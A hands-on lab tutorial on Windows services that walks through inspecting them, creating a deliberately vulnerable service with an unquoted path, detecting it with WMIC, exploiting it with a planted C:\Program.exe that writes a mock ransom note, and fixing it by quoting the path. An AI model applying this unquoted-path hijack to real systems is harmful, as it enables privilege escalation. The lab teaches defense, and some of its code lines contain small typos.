Windows Service Attacks

This lab provides a hands-on exploration of how Windows Services operate, how they’re managed, and how they can be exploited if misconfigured. Using both the Service Control Manager (SCM) and PowerShell, I walk you through inspecting service properties, startup behavior, dependencies, and recovery settings. The lab also introduces real-world security risks, demonstrating how attackers can attempt to hijack these services.



Cybrary is a well established and free IT training platform with several intuitive labs to explore

A paid subscription with more advanced labs is available as well outside the scope of this platform

Head to https://www.cybrary.it to create a free account for learning available on their platform

Head to Windows Services to complete this lab for yourself or perform it on your homelab below


Requirements:


 • Windows PC w/ Internet Connection

 • USB Flash Drive w/ at least 64GB Capacity

 • Unused PC w/ at least 4GB of Memory


1. Windows Services Overview


In Windows, services are specialized programs which perform essential tasks without user interaction

Unlike conventional programs, services in Windows OS are designed to work silently in the background

Services are typically made to run on system startup, though a service can be ran by another service

Services run in their own session (0) which allows them to run independently from any logged on user

They typically run as the Local System Account, but it is common to create them a dedicated account


The two most common types of Windows services are Win32OwnProcess, and Win32ShareProcess services

The Win32OwnProcess type services are started and controlled by the Service Control Manager (SCM)

The Win32ShareProcess services store their service application within a dynamic link library (DLL)

A user with sufficient permission can open SCM to start, stop, pause, resume and restart a service

A paused service maintains all of the information about its state for use when it is later resumed

A stopped service will lose all of the information about its state and later must restart "clean"


Services can be set to start automatically, start manually, or not start at all (disabled status)

Below we see the status of Windows services using the Services Microsoft Management Console (MMC):




The follwowing list contains some key services in Windows. You'll notice each service has two names:


 • Windows Update (wuauserv):

Responsible for checking for an installing Windows updates and patches to keep the system up to date


 • Print Spooler (spooler):

Manages print jobs and queues, allowing users to send documents to printer devices to be printed


 • Windows Defender Antivirus Services (WinDefend):

Provides real-time local protection against viruses, malware, and other security threats


 • Background Intelligent Transfer Service (BITS):

Facilitates the transfer of files in the background, commonly used for Windows Updates and downloads


 • Cryptographic Services (CryptSvc):

Provides cryptographic operations such as encryption, decryption, and certificate management


 • Windows Audio (Audiosrv):

Manages audio-related functions, ensuring audio playback and recording work correctly


 • Task Scheduler (Schedule):

Enables the scheduling of tasks and processes to run at specific times or under certain conditions


 • Remote Desktop Services (TermService):

Allows users to connect to a desktop or application on another computer over a network connection


 • Windows Time (w32time):

Synchronizes the system clock with a time server to maintain accurate time across the network


 • Windows Management Instrumentation (winmgmt):

Provides a framework for managing and querying system information and settings


 • Distributed Link Tracking Client (TrkWks):

Maintains links between files and their locations when files are moved within the same volume


 • Windows Firewall (MpsSvc):

Manages the built-in firewall, which controls incoming and outgoing network traffic


 • Windows Event Log (eventlog):

Manages and records events, errors, and information about the system, applications, and security


 • Server (LanmanServer):

Provides file and print sharing services for network clients


 • Remote Procedure Call (RpcSs):

Provides an essential component for communication between processes and systems


Because most Windows OS services run with elevated privileges, they are prime targets for hackers

Attackers can attempt to replace a valid service with a hostile one, or hijack an existing service

There are three primary attack vectors for services in the Windows operating system, listed below:


 • Unquoted Service Path Attack:

The attacker takes advantage of how Windows will look for files when a space is in the file path

For example, if the service path for MyService is C:\Program Files\myservice.exe, an attacker could

create a Windows service C:\Program.exe, it executes instead of myservice.exe when MyService starts


 • User-Writable Service Path Attack:

The attacker can try to overwrite a known good service executable in the Windows operating system

For example, if the path C:\Program Files is writable, an attacker can replace the myservice.exe


 • User-Modifiable Service Path Attack:

An attacker can unregister the MyService service and re-register it using a hostile service path


Note that none of the above attack vectors are trivial, an attacker must possess deep understanding

In the case of the unquoted service path, the attacker must be able to write a malicious service

Next, they have to find an unquoted service path where they have write permissions in Windows OS

Finally, they have to be able to restart the victim service, or trick an admin into restarting it

In a real world scenario, many stars would have to align in order for service attacks to be made


In this lab, you will explore Windows Services using the Service Control Manager and PowerShell

You will then create a new service with an unquoted service path and detect this flaw with WMIC

Finally, you will replace the good service with a hostile one as an unquoted service path attack


2. Create Windows 11 Live USB


Here we will simulate the end user through a USB live version of Windows 11 which won't save on the PCs disk

This type of installation was reffered to as Windows On-the-Go in the past but is now possible with rufus.exe


Download Windows 11 Disk Image (ISO): Microsoft Windows 11 ISO

Download Rufus Disk Imaging Software: Rufus Official Download


Insert USB Flash Drive, run rufus.exe, select target drive as your USB Flash Drive, select Windows 11 ISO file

From the 'Image option' dropdown menu, select the 'Windows To Go' image option to create a live usb, hit start:




Use the rufus popup menu to customize the Windows 11 Live installation and disable data collection for this lab:




Remove USB Flash Drive and Insert into unused PC. Start PC and press hotboot key on startup:




Select UEFI USB Flash Boot. Allow Windows 11 Live to load and move through the setup to reach the desktop:




We now have our basic workstation that will simulate the end user PC for us to troubleshoot later

Be sure to connect this system to the internet with WI-FI or a wired connection for the next steps


3. Install Windows Management Instrumentation Command (WMIC)


The Windows Management Instrumentation Command (WMIC) will allow us to gain onformation about services

The feature includes the wmic cli utility and is now an on demand feature in windows, install required

From the Windows Desktop, navigate to Settings > System > Optional Features > Add Feature > "WMIC":




Once you check the box and click next, the utility will be installed for us to use in our command line


4. Explore Windows Services with SCM


In this part of the lab, you will explore Windows Services using the Service Control Manager (SCM)

On the Windows taskbar, search for services, then select the Services Desktop App to open the SCM

At the bottom of the Service Control Manager window, select the 'standard' menu option:




In the Service Listing Pane on the right-hand side, you should see the following service headers:


 • Name: The display name and sometimes even the service name in parentheses

 • Description: Details about the service

 • Status: A service will be either Running or blank

 • Startup Type: A service will be either Automatic, Manual, or Disabled

 • Log On As: The credentials used by the service


Note that the Startup Type may also designate Delayed Start, Trigger Start, or even both in some cases

Delayed Start means that the service will start after the boot process. This delay improves performance

Services with a Trigger Start will remain dormant until some other event or service trigger wakes them


The default sort is by the Display Name header, but you can click on any header to sort services

Click on the Status column header in SCM to sort the services listed by Running or blank status

The initial sort will be blank, then Running. Click on Status again to reverse the sort operation:




Click the Startup Type column header to sort the services listed by Automatic, Manual or Disabled:




Click on Name, then right-click the Background Intelligent Transfer Service and select Properties:




We can see four tabs. The General tab shows the Service Name, Display Name, and the Description

Under that is the Path to executable, which shows the location and name of the executable file

Below is the Startup type, which can be set to Automatic, Automatic Delayed, Manual or Disabled

Under the Startup type is the Service status. Here, you can Start, Stop, Pause or Resume a service

Lastly, the text field for Startup parameters is used if you manually start the service executable

Startup Parameters should match the Path to executable section parameters. Click the Log On tab:




This is where we set the credentials used by the service. Using the Local System Account by default

In a perfect world, every service would have a seperate account with just enough rights to function

In the real world, most services run as the very powerful Local System Account, click on Recovery:




The Recovery tab is used to take actions when a service stops. A service will be retried two times

Afterwards no action will be taken. Notice that you can run a custom program when a service fails

While one may be tempted to make changes here, the default settings are generally best practice

Click on the Dependencies tab:




As the name suggests, this tab will show which system components this service requires to function

This tab is extremely useful when troubleshooting a stopped service that Windows should be running

Go ahead and close the Background Intelligent Transfer Service (Local Computer) Properties window

In the navigation pane (left), right-click Services (Local), and select Connect to another computer:




This feature allows you to connect to another computer using the SCM, which can be used remotely

Go ahead and click Cancel to return to the SCM menu, then you can go ahead and close the SCM app


5. Explore Windows Services with PowerShell


Right-click the Windows Start icon and select Windows PowerShell (Admin), click yes when prompted:




Run the following command from the PowerShell Terminal to display a list of all Windows services:


PS C:\Windows\system32> Get-Service


Resulting Output:




Run the following command from the PowerShell Terminal to display a list of all running services:


PS C:\Windows\system32> Get-Service | Where-Object Status -EQ "Running"


Resulting Output:




Run the following command from the PowerShell Terminal to view all the services in other states:


PS C:\Windows\system32> Get-Service | Where-Object Status -NE "Running"


Resulting Output:




Run the following command from the PowerShell Terminal to display available service properties:


PS C:\Windows\system32> Get-Service | select -Property * | FT


Resulting Output:




The FT stands for Format Table, making it easier to read the output within a PowerShell Terminal

Notice that the path to the service executable is not shown in any of the provided table outputs

It was easy to find the path to the service executable in SCM. How can we find it in the terminal?

To find the service path here, we must use the Windows Management Instrumentation Command (WMIC)

Run the following command from the PowerShell Terminal to see all the service WMIC information:


PS C:\Windows\system32> wmic service | more


Resulting Output:




You can use the space bar to advance through the pages of the more command and use CTRL+C to quit

Next we will learn how to pull out the service details we want using the get and where clauses

Here is a list of the available service details we can pull from the WMIC using the get clause:


AcceptPause, AcceptStop, Caption, CheckPoint, CreationClassName, DelayedAutoStart

Description, DesktopInteract, DisplayName, ErrorControl, ExitCode, InstallDate, Name

PathName, ProcessId, ServiceSpecifiedExitCode, ServiceType, Started, StartMode

StartName, State, Status, SystemCreationClassName, SystemName, TagId, WaitHint


Run the following command from the PowerShell Terminal to see all services and executable paths:


PS C:\Windows\system32> wmic service get name,pathname


Resulting Output:




We can use the where clause to filter the wmic output. Scroll to the top and review the results

Run the following command from the PowerShell Terminal to filter the list for running services:


PS C:\Windows\system32> wmic service where Started=True get name,pathname


Resulting Output:




Run the following command from the PowerShell Terminal to filter for non-running services:


PS C:\Windows\system32> wmic service where Started=False get name,pathname


Resulting Output:




Run the following command from the PowerShell Terminal to display additional service details:


PS C:\Windows\system32> wmic service get name,displayname,started,processid,pathname


Resulting Output:




Here we have the full picture of each service. Notice only running services have a processId


6. Create Windows Services


As discussed in the overview, hackers will attempt to find services with unquoted service paths

As an administrator, you should know if this attack vector exists in your environment and systems

In this part of the lab, you will run commands to check for unquoted service path vulnerabilities

After that, we will behave like an adversary would and conduct an unquoted service path attack

Run the following command from the PowerShell Terminal to downgrade to a Command Prompt session:


PS C:\Windows\system32> cmd


Run the following command from the Command Prompt to check our system for unquoted service paths:


C:\Windows\System32>wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """


Resulting Output:




We can see there is no output, an no unquoted service paths. Here is how the command breaks down:


 • wmic service get name,pathname,startmode - List the service name, path, and start mode

 • findstr /i "auto" - Look for services that are set to automatically start

 • findstr /i /v "c:\windows\\" - Ignore C:\Windows as it is not writable

 • findstr /i /v """ - Look for unquoted service paths


To further demonstrate how this command works, we will now create our own unquoted service path

Run the following command from the Command Prompt to elevate back into a PowerShell session:


C:\Windows\System32>exit


Run the follwing command from the PowerShell Terminal to change the directory to the Desktop:


PS C:\Windows\system32> cd C:\Users\ITLab.Center\Desktop


Run the following commands from the PowerShell Terminal to created a new service directory:


PS C:\Users\ITLab.Center\Desktop> mkdir "C:\Program Files\my service"

PS C:\Users\ITLab.Center\Desktop> mkdir "C:\LabScripts"

PS C:\Users\ITLab.Center\Desktop> mkdir "C:\Temp"


Run the following commands from the PowerShell Terminal to create a benign service script:


PS C:\Users\ITLab.Center\Desktop> cd "C:\LabScripts"

PS C:\LabScripts> echo "Write-Host 'Hello World!'" >> echo.ps1


In order for our script to function as a windows service, we must covert it to an executable

PowerShell cannot run a Windows Service on its own as services must communicate with the SCM

For this we need to go deeper, and utilize C# source code within the Microsoft .NET framework

Go ahead and download the .NET SDK here: Download .NET, run the executable and install .NET

The .NET worker method will allow us to create an executable that communicates with the SCM

Run the following commands from the PowerShell Terminal to create our project with the .NET:


PS C:\LabScripts> cd "C:\Users\ITLab.Center\Desktop"

PS C:\Users\ITLab.Center\Desktop> dotnet new worker -n WindowsService1


Run the following commands from the PowerShell Terminal to edit the Program.cs service file:


PS C:\Users\ITLab.Center\Desktop> cd WindowsService1

PS C:\Users\ITLab.Center\Desktop\WindowsService1> notepad.exe Program.cs


A notepad will appear, edit the code to match the C# script provided below for our service:


using Microsoft.Extensions.DependencyInjection;

using Microsoft.Extensions.Hosting;


Host.CreateDefaultBuilder(args)

      .UseWindowsService()

      .ConfigureServices(services =>

      {

            services.AddHostedService<Worker>();

      })

      .Build()

      .Run();


Once finished in Notepad click save and run the following command to edit the Worker.cs file:


PS C:\Users\ITLab.Center\Desktop\WindowsService1> notepad.exe Worker.cs


A notepad will appear, edit the code to match the C# script provided below for our service:


using Microsoft.Extensions.Hosting;

using System.Diagnostics;

using System.IO;

using System.Threading;

using System.Threading.Tasks;


public class Worker : BackgroundService

{

      protected override async Task ExecuteAsync(CancellationToken stoppingToken)

      {

            var ps = new Process();

            ps.StartInfo.FileName = "powershell.exe";

            ps.StartInfoArguments = "-ExecutionPolicy Bypass -File \"C:\\LabScripts\\echo.ps1\"";

            ps.StartInfo.UseShellExecute = false;

            ps.StartInfo.RedirectStandardOutput = true;

            ps.Start();

            string output = await ps.StandardOutput.ReadToEndAsync();

            File.WriteAllText("C:\\Temp\\README.txt", output);

            await ps.WaitForExitAsync(stoppingToken);

      }

}


Once finished in Notepad click save and run the following command to edit the .csproj file:


PS C:\Users\ITLab.Center\Desktop\WindowsService1> notepad.exe WindowsService1.csproj


A notepad will appear, edit the code to match the C# script provided below for our service:


<Project Sdk="Microsoft.NET.Sdk.Worker">

 <PropertyGroup>

  <OutputType>Exe</OutputType>

  <TargetFramework>net8.0</TargetFramework>

  <ImplicitUsings>enable</ImplicitUsings>

  <Nullable>enable</Nullable>

 </PropertyGroup>


 <ItemGroup>

  <PackageReference Include="Microsoft.Extensions.Hosting" Version="8.0.0" />

  <PackageReference Include="Microsoft.Extensions.Hosting.WindowsServices" Version="8.0.0" />

 </ItemGroup>

</Project>


Run the following command from the PowerShell to add the NuGet Windows Services sources:


PS C:\User\ITLab.Center\Desktop\WindowsService1> dotnet nuget add source https://api.nuget.org/v3/index.json -n nuget.org


Run the following commands from the PowerShell Terminal to compile the executable with .NET:


PS C:\User\ITLab.Center\Desktop\WindowsService1> dotnet restore

PS C:\User\ITLab.Center\Desktop\WindowsService1> dotnet build -c Release


Resulting Output:




This creates a bin folder within our project containing the dependancies of our executable

Run the following command from the PowerShell to view the contents of the new bin folder:


PS C:\Users\ITLab.Center\Desktop\WindowsService1> ls .\bin\Release\net8.0


Resulting Output:




Run the following command from the PowerShell Terminal to move them to our service path:


PS C:\Users\ITLab.Center\Desktop\WindowsService1> Move-Item -Path ".\bin\Release\net8.0\*" -Destination "C:\Program Files\my service"


Run the following command from the PowerShell Terminal to create the new Windows Service:


PS C:\Users\ITLab.Center\Desktop\WindowsService1> New-Service -Name MyService -BinaryPathName "C:\Program Files\my service\WindowsService1.exe"


Our script is designed to print a message to a README file in the newly created Temp directory

Run the following commands from the PowerShell Terminal to move to C:\Temp and check contents:


PS C:\Users\ITLab.Center\Desktop\WindowsService1> cd "C:\Temp"

PS C:\Temp> ls


We will see that there are no files in the newly created Temp directory as of yet this moment

Run the following commands from the PowerShell Terminal to start and check the service status:


PS C:\Users\ITLab.Center\Desktop\WindowsService1> Start-Service -Name MyService

PS C:\Users\ITLab.Center\Desktop\WindowsService1> Get-Service -Name My Service


Resulting Output:




Run the following commands from the PowerShell Terminal to view the message our service left:


PS C:\Temp> ls

PS C:\Temp> cat README.txt


Resulting Output:




We now have a fully working Windows Service with an unquoted service path for us to then exploit


7. Perform Unquoted Service Path Attack


In this section of the lab we will switch roles and act as the adversary looking to exploit systems

Run the following commands from the PowerShell Terminal to check system for unquoted service paths:


PS C:\Temp> cmd

C:\Temp>wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """


Resulting Output:




We can see above that WMIC returned a vulnerable service named MyService. We will be exploiting it

To perform the exploit we will created a malicious service in the same way as before with the .NET

Run the following commands from the PowerShell Terminal to create a malicious service script:


C:\Temp>exit

PS C:\Temp> cd "C:\LabScripts

PS C:\LabScripts> echo "Write-Host 'You have been hacked! Send 1 Morbillion Bitcoin within 24 hours or say goodbye to your files!'" >> echo2.ps1


Run the following commands from the PowerShell Terminal to create our project with the .NET:


PS C:\LabScripts> cd "C:\Users\ITLab.Center\Desktop"

PS C:\Users\ITLab.Center\Desktop> dotnet new worker -n Program


Run the following commands from the PowerShell Terminal to edit the Program.cs service file:


PS C:\Users\ITLab.Center\Desktop> cd Program

PS C:\Users\ITLab.Center\Desktop\Program> notepad.exe Program.cs


A notepad will appear, edit the code to match the C# script provided below for our service:


using Microsoft.Extensions.DependencyInjection;

using Microsoft.Extensions.Hosting;


Host.CreateDefaultBuilder(args)

      .UseWindowsService()

      .ConfigureServices(services =>

      {

            services.AddHostedService<Worker>();

      })

      .Build()

      .Run();


Once finished in Notepad click save and run the following command to edit the Worker.cs file:


PS C:\Users\ITLab.Center\Desktop\Program> notepad.exe Worker.cs


A notepad will appear, edit the code to match the C# script provided below for our service:


using Microsoft.Extensions.Hosting;

using System.Diagnostics;

using System.IO;

using System.Threading;

using System.Threading.Tasks;


public class Worker : BackgroundService

{

      protected override async Task ExecuteAsync(CancellationToken stoppingToken)

      {

            var ps = new Process();

            ps.StartInfo.FileName = "powershell.exe";

            ps.StartInfoArguments = "-ExecutionPolicy Bypass -File \"C:\\LabScripts\\echo2.ps1\"";

            ps.StartInfo.UseShellExecute = false;

            ps.StartInfo.RedirectStandardOutput = true;

            ps.Start();

            string output = await ps.StandardOutput.ReadToEndAsync();

            File.WriteAllText("C:\\Temp\\README.txt", output);

            await ps.WaitForExitAsync(stoppingToken);

      }

}


Once finished in Notepad click save and run the following command to edit the .csproj file:


PS C:\Users\ITLab.Center\Desktop\Program> notepad.exe EvilService1.csproj


A notepad will appear, edit the code to match the C# script provided below for our service:


<Project Sdk="Microsoft.NET.Sdk.Worker">

 <PropertyGroup>

  <OutputType>Exe</OutputType>

  <TargetFramework>net8.0</TargetFramework>

  <ImplicitUsings>enable</ImplicitUsings>

  <Nullable>enable</Nullable>

 </PropertyGroup>


 <ItemGroup>

  <PackageReference Include="Microsoft.Extensions.Hosting" Version="8.0.0" />

  <PackageReference Include="Microsoft.Extensions.Hosting.WindowsServices" Version="8.0.0" />

 </ItemGroup>

</Project>


Run the following commands from the PowerShell Terminal to compile the executable with .NET:


PS C:\Users\ITLab.Center\Desktop\Program> dotnet restore

PS C:\Users\ITLab.Center\Desktop\Program> dotnet build -c Release


Run the following command from the PowerShell Terminal to copy the executable and dependancies:


PS C:\Users\ITLab.Center\Desktop\Program> Move-Item -Path ".\bin\Release\net8.0\*" -Destination "C:\"


Run the following commands from the PowerShell Terminal to restart the service and check status:


PS C:\Users\ITLab.Center\Desktop\Program> Stop-Service -Name MyService

PS C:\Users\ITLab.Center\Desktop\Program> Start-Service -Name MyService

PS C:\Users\ITLab.Center\Desktop\Program> Get-Service -Name MyService


Run the following commands from the PowerShell Terminal to check the README service text file:


PS C:\Users\ITLab.Center\Desktop\Program> cd "C:\Temp"

PS C:\Temp> cat README.txt


Resulting Output:




We can see that the exploit was successful and the service is now running our malicious script


8. Remediation


For this final section of the lab we will switch back to the role of the defender or system admin

To remediate this vulnerability we mus add quotes to the BinaryPath of our service within the CLI

While our initial service creation command contained quotes, the value within those quotes did not

Run the following command from the PowerShell Terminal to edit the service path for MyService:


PS C:\Temp> Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\MyService" -Name ImagePath -Value "`"C:\Program Files\my service\WindowsService1.exe`""


The ` character is an escape character in powershell, allowing us to double quote the service path

Run the following commands from the PowerShell Terminal to restart and check the service status:


PS C:\Users\ITLab.Center\Desktop\Program> Stop-Service -Name MyService

PS C:\Users\ITLab.Center\Desktop\Program> Start-Service -Name MyService

PS C:\Users\ITLab.Center\Desktop\Program> Get-Service -Name MyService


Run the following commands from the PowerShell Terminal to check the README service text file:


PS C:\Temp> cat README.txt


Resulting Output:




Congratulations on completed this lab on Windows Service Attacks, you have successfully defended

In this lab you gained valuable hands-on experience with the Service Control Manager and PowerShell

You created a Windows Service with an unquoted service path and used WMIC to detect and exploit it